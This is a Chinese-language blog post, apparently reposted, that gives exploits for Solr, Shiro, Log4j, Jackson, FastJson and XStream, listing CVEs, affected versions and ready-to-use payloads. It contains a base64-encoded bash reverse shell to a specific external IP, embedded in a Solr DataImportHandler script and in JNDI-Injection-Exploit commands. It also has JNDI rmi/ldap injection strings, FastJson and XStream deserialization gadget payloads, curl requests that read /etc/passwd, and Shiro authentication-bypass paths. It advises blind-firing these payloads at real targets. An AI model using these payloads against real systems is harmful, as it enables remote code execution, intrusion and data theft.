当前位置:   article > 正文

组件安全(Solr、Shiro、Log4j、Jackson、FastJson、XStream)

组件安全(Solr、Shiro、Log4j、Jackson、FastJson、XStream)

Solr

主要基于HTTP和 Apache Lucene 实现的全文搜索服务器。
特征:图标识别

 端口:8393

CVE-2019-0193(远程命令执行漏洞)

漏洞版本:Apache Solr < 8.2.0

利用条件:

  1. Apache Solr DataImportHandler 启用了模块 DataImportHandler ( 默认不会被启用 )
  2. Solr admin UI未开启鉴权验证(默认情况无需任何验证)

POC:

<dataConfig>

<dataSource type="URLDataSource"/>

<script><![CDATA[

          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");

}

]]></script>

<document>

<entity name="stackoverflow"

            url="https://stackoverflow.com/feeds/tag/solr"

            processor="XPathEntityProcessor"

            forEach="/feed"

            transformer="script:poc" />

</document>

</dataConfig>

 CVE-2019-17558(命令执行)

影响版本:Apache Solr 5.0.0版本至8.3.1

利用:直接使用工具执行命令

 工具:https://github.com/jas502n/solr_rce

CVE-2021-27905(文件读取)

全版本官方拒绝修复该漏洞。

利用:

  1. 获取数据库名  /solr/admin/cores?indexInfo=false&wt=json  数据库名demo
  2. 触发访问

    curl -i -s -k -X $'POST' \

        -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \

        $'http://目标地址:8983/solr/demo/config'

    3.任意文件读取

    curl -i -s -k 'http://目标地址:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

Shiro

 Java安全框架,能够用于身份验证、授权、加密和会话管理。

特征:数据包cookie中含有rememberMe字段

CVE_2016_4437

影响版本:Apache Shiro <= 1.2.4

利用:直接狐狸工具箱shiro工具梭哈

CVE-2020-11989

Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。
将Apache Shiro与Spring控制器一起使用时,特制请求可能会导致身份验证绕过。

影响版本:Apache Shiro < 1.7.1

POC:/admin/%20

CVE-2020-1957

Apache Shiro是美国阿帕奇(Apache)软件基金会的一套用于执行认证、授权、加密和会话管理的Java安全框架。
Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。主要是Spring web在匹配url的时候没有匹配上/导致绕过

影响版本:Apache Shiro < 1.5.3

POC:/xxx/..;/admin/

Log4j

Apache 的一个开源项目,是一个基于 Java 的日志记录框架。

CVE-2021-44228

 Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。

影响版本:Apache Log4j2 2.0 - 2.15.0-rc1

漏洞产生原因:

  1. 对应漏洞存在版本
  2. 使用的logger.error(参数用户可控)  如果使用的logger.info不会有该漏洞
  3. 利用就是把error的参数改成下面我们使用jndi生成的链接;如果不成功,我们可以使用url编码的形式。

利用:

先利用jndi生成执行命令的url(rmi和ldap协议)

反弹shell的命令:

 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117

 payload:

${jndi:rmi://192.168.1.5:1099/ixsfre}

或者对其采用url编码

 Jackson

当下流行的json解释器,主要负责处理 Json 的序列化和反序列化。

CVE-2020-8840

影响版本:2.0.0 <= FasterXML jackson-databind Version <= 2.10.1

jackson-databind中由于缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,可导致攻击者使用JNDI注入的方式实现远程代码执行 路径Jacksondatabind/attack

利用:

payload:

[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]

CVE-2020-35728

影响版本:FasterXML jackson-databind 2.< 2.9.10.8

jackson-databind存在一处反序列化远程代码执行漏洞(CVE-2020-35728),该漏洞是由于com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool组件库存在不安全的反序列化,导致攻击者可以利用漏洞实现远程代码执行。 路径Jacksondatabind/attack

payload:

payload = "[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"rmi://47.94.236.117:1099/gtaafz\"}]"

 FastJson

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将 JavaBean 序列化为JSON字符串,也可以从JSON字符串反序列化到 JavaBean
思路:
如果我们发现目标使用java语言且数据包中使用json格式传输数据;那么我们此时就可以乱写一个数据,使其报错,然后查看其报错信息;可能会得知目标使用的组件。
我们如果不知道具体的组件,就可以把json的数据换成payload进行盲打。

FastJson版本<=1.2.24

源码:

pom.xml:

  1. <dependencies>
  2. <dependency>
  3. <groupId>com.alibaba</groupId>
  4. <artifactId>fastjson</artifactId>
  5. <version>1.2.24</version>
  6. </dependency>
  7. </dependencies>

 

  1. import com.alibaba.fastjson.JSON;
  2. import com.alibaba.fastjson.JSONObject;
  3. public class FastJson {
  4. public static void main(String[] args) {
  5. try {
  6. // 转换成object
  7. JSONObject jsonToObject = JSON.parseObject("{\n" +
  8. " \"a\":{\n" +
  9. " \"@type\":\"java.lang.Class\",\n" +
  10. " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
  11. " },\n" +
  12. " \"b\":{\n" +
  13. " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
  14. " \"dataSourceName\":\"rmi://192.168.1.5:1099/elkww5\",\n" +
  15. " \"autoCommit\":true\n" +
  16. " }\n" +
  17. "}");
  18. //return jsonToObject.get("name").toString();
  19. } catch (Exception e) {
  20. //return e.toString();
  21. }
  22. }
  23. }

 漏洞利用就是parseObject的参数可控,用户可以使用jndi注入执行任意命令。

payload:

String payload = "{\r\n"

         + "    \"a\": {\r\n"

         + "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \r\n"

         + "        \"dataSourceName\": \"rmi://127.0.0.1:1099/Object\", \r\n"

         + "        \"autoCommit\": true\r\n"

         + "    }\r\n"

         + "}";

FastJson版本<= 1.2.47

 

  1. <dependencies>
  2. <dependency>
  3. <groupId>com.alibaba</groupId>
  4. <artifactId>fastjson</artifactId>
  5. <version>1.2.47</version>
  6. </dependency>
  7. </dependencies>

 与上面的唯一区别就是换了一个版本。

payload:

  1. "{\n" +
  2. " \"a\":{\n" +
  3. " \"@type\":\"java.lang.Class\",\n" +
  4. " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
  5. " },\n" +
  6. " \"b\":{\n" +
  7. " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
  8. " \"dataSourceName\":\"rmi://192.168.1.5:1099/elkww5\",\n" +
  9. " \"autoCommit\":true\n" +
  10. " }\n" +
  11. "}"

FastJson版本<= 1.2.80

上面两种使用的java自带的JdbcRowSetImpl,且使用的是jndi注入,这种对目标的jdk版本要求极高,否则很难成功。

对于<=1.2.80的高版本,我们只能使用目标项目中调用的组件和类文件。

如果目标使用了groovy外部库:可以使用如下POC:

  1. public static void main(String[] args){
  2. //依赖1.2.76-1.2.80,依赖groovy
  3. //jar包写法见https://github.com/Lonely-night/fastjsonVul/tree/7f9d2d8ea1c27ae1f9c06076849ae76c25b6aff7
  4. String poc1 = "{\n" +
  5. " \"@type\":\"java.lang.Exception\",\n" +
  6. " \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
  7. " \"unit\":{}\n" +
  8. "}";
  9. String poc2 = "{\n" +
  10. " \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
  11. " \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
  12. " \"config\":{\n" +
  13. " \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
  14. " \"classpathList\":\"http://192.168.1.4:82/attack-1.jar\"\n" +
  15. " }\n" +
  16. "}";
  17. System.out.println(poc1);
  18. System.out.println(poc2);
  19. try {
  20. JSON.parseObject(poc1);
  21. } catch (Exception e) {}
  22. JSON.parseObject(poc2);
  23. }
  24. }

这个具体的攻击payload就要看目标引用的外部库和项目中的文件。

fastjsonPOC工具https://github.com/kezibei/fastjson_payload

在实战中我们也不知道目标引入的外部可和具体文件,我们只能根据POC进行盲打,不断的尝试。

XStream

开源 Java 类库,能将对象序列化成XML或XML反序列化为对象。

CVE-2021-21351

 XStream是一个简单的基于Java库,Java对象序列化到xml,反之亦然(即:可以轻易的将Java对象和xml文档相互转换)。 攻击者可以操纵已处理的输入流并替换或注入对象,从而执行从远程服务器加载的任意代码。
影响版本: Xstream <= 1.4.15
利用:
  1. 利用jndi生成rmi/ldap协议的链接
  2. 构造payload提交
  3. 以post形式提交数据,数据内容就是payload,记得修改content-type为xml

​​​​​​​反弹shell命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117

  1. <sorted-set>
  2. <javax.naming.ldap.Rdn_-RdnEntry>
  3. <type>ysomap</type>
  4. <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
  5. <m__DTMXRTreeFrag>
  6. <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
  7. <m__size>-10086</m__size>
  8. <m__mgrDefault>
  9. <__overrideDefaultParser>false</__overrideDefaultParser>
  10. <m__incremental>false</m__incremental>
  11. <m__source__location>false</m__source__location>
  12. <m__dtms>
  13. <null/>
  14. </m__dtms>
  15. <m__defaultHandler/>
  16. </m__mgrDefault>
  17. <m__shouldStripWS>false</m__shouldStripWS>
  18. <m__indexing>false</m__indexing>
  19. <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
  20. <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
  21. <javax.sql.rowset.BaseRowSet>
  22. <default>
  23. <concurrency>1008</concurrency>
  24. <escapeProcessing>true</escapeProcessing>
  25. <fetchDir>1000</fetchDir>
  26. <fetchSize>0</fetchSize>
  27. <isolation>2</isolation>
  28. <maxFieldSize>0</maxFieldSize>
  29. <maxRows>0</maxRows>
  30. <queryTimeout>0</queryTimeout>
  31. <readOnly>true</readOnly>
  32. <rowSetType>1004</rowSetType>
  33. <showDeleted>false</showDeleted>
  34. <dataSource>rmi://evil-ip:1099/example</dataSource>
  35. <listeners/>
  36. <params/>
  37. </default>
  38. </javax.sql.rowset.BaseRowSet>
  39. <com.sun.rowset.JdbcRowSetImpl>
  40. <default/>
  41. </com.sun.rowset.JdbcRowSetImpl>
  42. </fPullParserConfig>
  43. <fConfigSetInput>
  44. <class>com.sun.rowset.JdbcRowSetImpl</class>
  45. <name>setAutoCommit</name>
  46. <parameter-types>
  47. <class>boolean</class>
  48. </parameter-types>
  49. </fConfigSetInput>
  50. <fConfigParse reference='../fConfigSetInput'/>
  51. <fParseInProgress>false</fParseInProgress>
  52. </m__incrementalSAXSource>
  53. <m__walker>
  54. <nextIsRaw>false</nextIsRaw>
  55. </m__walker>
  56. <m__endDocumentOccured>false</m__endDocumentOccured>
  57. <m__idAttributes/>
  58. <m__textPendingStart>-1</m__textPendingStart>
  59. <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
  60. <m__pastFirstElement>false</m__pastFirstElement>
  61. </m__dtm>
  62. <m__dtmIdentity>1</m__dtmIdentity>
  63. </m__DTMXRTreeFrag>
  64. <m__dtmRoot>1</m__dtmRoot>
  65. <m__allowRelease>false</m__allowRelease>
  66. </value>
  67. </javax.naming.ldap.Rdn_-RdnEntry>
  68. <javax.naming.ldap.Rdn_-RdnEntry>
  69. <type>ysomap</type>
  70. <value class='com.sun.org.apache.xpath.internal.objects.XString'>
  71. <m__obj class='string'>test</m__obj>
  72. </value>
  73. </javax.naming.ldap.Rdn_-RdnEntry>
  74. </sorted-set>

 

 CVE-2021-29505

 XStream是XStream(Xstream)团队的一个轻量级的、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。 通过该漏洞,攻击者构造特定的XML,绕过XStream的黑名单,最终触发反序列化造成任意代码执行。

影响版本:XStream <= 1.4.16

利用:

  1. 攻击机生成反弹shell的反序列化JNDI注入(java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "touch /tmp/success")
  2. 发送payload数据包

 payload:(记得payload中有两个地方需要改ip)

  1. <java.util.PriorityQueue serialization='custom'>
  2. <unserializable-parents/>
  3. <java.util.PriorityQueue>
  4. <default>
  5. <size>2</size>
  6. </default>
  7. <int>3</int>
  8. <javax.naming.ldap.Rdn_-RdnEntry>
  9. <type>12345</type>
  10. <value class='com.sun.org.apache.xpath.internal.objects.XString'>
  11. <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
  12. </value>
  13. </javax.naming.ldap.Rdn_-RdnEntry>
  14. <javax.naming.ldap.Rdn_-RdnEntry>
  15. <type>12345</type>
  16. <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
  17. <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
  18. <parsedMessage>true</parsedMessage>
  19. <soapVersion>SOAP_11</soapVersion>
  20. <bodyParts/>
  21. <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
  22. <attachmentsInitialized>false</attachmentsInitialized>
  23. <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
  24. <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
  25. <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
  26. <names>
  27. <string>aa</string>
  28. <string>aa</string>
  29. </names>
  30. <ctx>
  31. <environment/>
  32. <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
  33. <java.rmi.server.RemoteObject>
  34. <string>UnicastRef</string>
  35. <string>evil-ip</string>
  36. <int>1099</int>
  37. <long>0</long>
  38. <int>0</int>
  39. <long>0</long>
  40. <short>0</short>
  41. <boolean>false</boolean>
  42. </java.rmi.server.RemoteObject>
  43. </registry>
  44. <host>evil-ip</host>
  45. <port>1099</port>
  46. </ctx>
  47. </candidates>
  48. </aliases>
  49. </nullIter>
  50. </sm>
  51. </message>
  52. </value>
  53. </javax.naming.ldap.Rdn_-RdnEntry>
  54. </java.util.PriorityQueue>
  55. </java.util.PriorityQueue>

思路:

我们在实战中确定目标是java环境,然后发现数据包中是以json/xml形式传输数据,那么我们就可以尝试上面这些payload进行盲打。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/你好赵伟/article/detail/421301
推荐阅读
相关标签
  

闽ICP备14008679号